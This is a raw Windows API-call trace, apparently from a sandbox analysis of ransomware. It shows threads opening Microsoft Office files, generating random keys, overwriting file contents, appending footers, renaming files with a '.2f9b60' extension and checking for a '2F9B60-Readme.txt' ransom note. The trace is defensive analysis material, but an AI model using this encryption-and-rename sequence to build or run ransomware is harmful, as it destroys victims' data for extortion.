[0222.807] NtQueryInformationFile (in: FileHandle=0x176c, IoStatusBlock=0x2434fa18, FileInformation=0x2434fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2434fa18, FileInformation=0x2434fa28) returned 0x0 [0222.807] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x2434fa18, FileInformation=0x2434fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5d00) returned 1 [0224.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9900) returned 1 [0224.540] FlushFileBuffers (hFile=0x176c) returned 1 [0224.636] CloseHandle (hObject=0x176c) returned 1 [0225.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431e2b80 [0225.664] wcscpy (in: _Dest=0x431e2b80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0225.664] wcscat (in: _Dest=0x431e2b80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0225.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0225.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e2b80) returned 1 [0225.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509d50) returned 1 Thread: id = 1670 os_tid = 0x1b84 [0126.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20 [0129.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE", dwFileAttributes=0x20) returned 1 [0129.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0129.597] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x247dfd40 | out: lpFileSize=0x247dfd40*=10672) returned 1 [0129.597] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x29ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.597] ReadFile (in: hFile=0x176c, lpBuffer=0x247dfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247dfd08, lpOverlapped=0x0 | out: lpBuffer=0x247dfcc0*, lpNumberOfBytesRead=0x247dfd08*=0x4, lpOverlapped=0x0) returned 1 [0129.600] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265250 [0129.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265280 [0129.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652b0 [0129.600] NtQuerySystemTime (in: CurrentTime=0x247dfc00 | out: CurrentTime=0x247dfc00*=132462177348538000) returned 0x0 [0129.600] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x843e74a [0129.600] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x4bd29d02 [0129.600] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x79234354 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x213ef8dd [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x2e2c5e3c [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x33789322 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x360134ac [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x29928035 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x768ebb43 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x454c1658 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x3b8ba730 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x6130c2b3 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x29f6d4fd [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x3049c1e6 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x4829e0b0 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x5b35bed2 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x3083c742 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x46fe743f [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x4b64a1a4 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x4b78df84 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x1c65949a [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x7090172b [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x744d81cb [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x79b0dbe [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x5871bada [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x3a82796a [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x21dd95b2 [0129.601] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x5234dcd7 [0129.602] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x1f9c87c0 [0129.602] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x24c4b5d [0129.602] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x496179a3 [0129.602] RtlRandomEx (in: Seed=0x247dfbf0 | out: Seed=0x247dfbf0) returned 0x75196b36 [0129.615] ReadFile (in: hFile=0x176c, lpBuffer=0x41ec4990, nNumberOfBytesToRead=0x29b0, lpNumberOfBytesRead=0x247dfbf0, lpOverlapped=0x0 | out: lpBuffer=0x41ec4990*, lpNumberOfBytesRead=0x247dfbf0*=0x29b0, lpOverlapped=0x0) returned 1 [0129.618] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.618] WriteFile (in: hFile=0x176c, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x247dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x247dfbf4*=0x29b0, lpOverlapped=0x0) returned 1 [0129.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265250 [0129.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652b0 [0129.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202652b0) returned 1 [0129.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0129.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec4990) returned 1 [0129.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202652b0 [0129.622] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0129.622] WriteFile (in: hFile=0x176c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x247dfd10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x247dfd10*=0x108, lpOverlapped=0x0) returned 1 [0129.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0129.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0129.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0129.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0129.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0129.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0129.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653d0 [0129.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653d0) returned 1 [0129.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9e930 [0129.625] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="40") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="f4") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="dc") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="43") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="6f") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="75") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="b2") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="3d") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="3d") returned 2 [0129.625] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="e7") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="25") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="67") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="f1") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="24") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="2d") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="fb") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="30") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="0b") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="9a") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="26") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="50") returned 2 [0129.626] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="2d") returned 2 [0129.626] RtlInitAnsiString (in: DestinationString=0x247dfd88, SourceString="40f4dc436f75b23d3de72567f1242dfb300b9a26502d" | out: DestinationString="40f4dc436f75b23d3de72567f1242dfb300b9a26502d") [0129.626] RtlAnsiStringToUnicodeString (in: DestinationString=0x247dfd58, SourceString="40f4dc436f75b23d3de72567f1242dfb300b9a26502d", AllocateDestinationString=1 | out: DestinationString="40f4dc436f75b23d3de72567f1242dfb300b9a26502d") returned 0x0 [0129.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e5d0 [0129.627] wcscat (in: _Dest=0x4205d0f0, _Source="40f4dc436f7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7" [0129.627] wcscat (in: _Dest=0x4205d0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7.2f9b60" [0129.627] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7.2f9b60", NtPathName=0x247dfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\40f4dc436f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0129.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107780 [0129.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0129.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0129.632] NtQueryInformationFile (in: FileHandle=0x176c, IoStatusBlock=0x247dfd98, FileInformation=0x247dfda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x247dfd98, FileInformation=0x247dfda8) returned 0x0 [0129.632] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x247dfd98, FileInformation=0x247dfda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0129.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e5d0) returned 1 [0129.634] FlushFileBuffers (hFile=0x176c) returned 1 [0129.636] CloseHandle (hObject=0x176c) returned 1 [0129.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205d0f0 [0129.671] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0129.671] wcscat (in: _Dest=0x4205d0f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0129.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0129.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a380) returned 1 Thread: id = 1672 os_tid = 0x1bb4 [0129.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d4e87f90ff9c.2f9b60")) returned 0x20 [0129.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60", dwFileAttributes=0x20) returned 1 [0129.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d4e87f90ff9c.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0129.185] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1d33fb60 | out: lpFileSize=0x1d33fb60*=12157) returned 1 [0129.185] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x2f79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.185] ReadFile (in: hFile=0x151c, lpBuffer=0x1d33fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d33fb28, lpOverlapped=0x0 | out: lpBuffer=0x1d33fae0*, lpNumberOfBytesRead=0x1d33fb28*=0x4, lpOverlapped=0x0) returned 1 [0129.187] FlushFileBuffers (hFile=0x151c) returned 1 [0129.188] CloseHandle (hObject=0x151c) returned 1 [0129.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60", dwFileAttributes=0x20) returned 1 [0129.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 Thread: id = 1673 os_tid = 0x1bb8 [0129.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d7543e698864.2f9b60")) returned 0x20 [0129.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60", dwFileAttributes=0x20) returned 1 [0129.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d7543e698864.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0129.193] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1d58fae0 | out: lpFileSize=0x1d58fae0*=7482) returned 1 [0129.193] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x1d36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.193] ReadFile (in: hFile=0x151c, lpBuffer=0x1d58fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d58faa8, lpOverlapped=0x0 | out: lpBuffer=0x1d58fa60*, lpNumberOfBytesRead=0x1d58faa8*=0x4, lpOverlapped=0x0) returned 1 [0129.195] FlushFileBuffers (hFile=0x151c) returned 1 [0129.196] CloseHandle (hObject=0x151c) returned 1 [0129.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60", dwFileAttributes=0x20) returned 1 [0129.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 Thread: id = 1674 os_tid = 0x1bbc [0129.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d82a56eaea3d.2f9b60")) returned 0x20 [0129.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60", dwFileAttributes=0x20) returned 1 [0129.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\d82a56eaea3d.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0129.203] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1d3ffc00 | out: lpFileSize=0x1d3ffc00*=2902) returned 1 [0129.203] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0xb52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.203] ReadFile (in: hFile=0x151c, lpBuffer=0x1d3ffb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d3ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x1d3ffb80*, lpNumberOfBytesRead=0x1d3ffbc8*=0x4, lpOverlapped=0x0) returned 1 [0129.203] FlushFileBuffers (hFile=0x151c) returned 1 [0129.205] CloseHandle (hObject=0x151c) returned 1 [0129.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60", dwFileAttributes=0x20) returned 1 [0129.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cdd0) returned 1 Thread: id = 1675 os_tid = 0x1bc0 [0129.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dc37e48ae5a7.2f9b60")) returned 0x20 [0129.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60", dwFileAttributes=0x20) returned 1 [0129.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dc37e48ae5a7.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0129.211] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1d70f6c0 | out: lpFileSize=0x1d70f6c0*=12748) returned 1 [0129.211] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x31c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.211] ReadFile (in: hFile=0x151c, lpBuffer=0x1d70f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d70f688, lpOverlapped=0x0 | out: lpBuffer=0x1d70f640*, lpNumberOfBytesRead=0x1d70f688*=0x4, lpOverlapped=0x0) returned 1 [0129.213] FlushFileBuffers (hFile=0x151c) returned 1 [0129.214] CloseHandle (hObject=0x151c) returned 1 [0129.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60", dwFileAttributes=0x20) returned 1 [0129.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 Thread: id = 1676 os_tid = 0x1bc4 [0129.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0129.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF", dwFileAttributes=0x20) returned 1 [0129.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0129.220] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1e64fa80 | out: lpFileSize=0x1e64fa80*=31122) returned 1 [0129.220] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x798e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.220] ReadFile (in: hFile=0x151c, lpBuffer=0x1e64fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e64fa48, lpOverlapped=0x0 | out: lpBuffer=0x1e64fa00*, lpNumberOfBytesRead=0x1e64fa48*=0x4, lpOverlapped=0x0) returned 1 [0129.222] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0129.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0129.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0129.223] NtQuerySystemTime (in: CurrentTime=0x1e64f940 | out: CurrentTime=0x1e64f940*=132462177344794000) returned 0x0 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x203d6887 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x12ced2ca [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x26eeb990 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x76bdc242 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x5d4434a4 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x2c2f6132 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x2b97d992 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x1b1009a9 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x78100aa8 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x24fea8f3 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x7959105a [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x5d67b42 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x779d4f87 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x38dcee0f [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x6db409c2 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x57dc3d82 [0129.223] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x4421c4a5 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x1f4c5f40 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x64ab2a39 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x1eed01de [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x166626c0 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x4b7058fa [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x6d27d052 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x14a4bb24 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x71344c2e 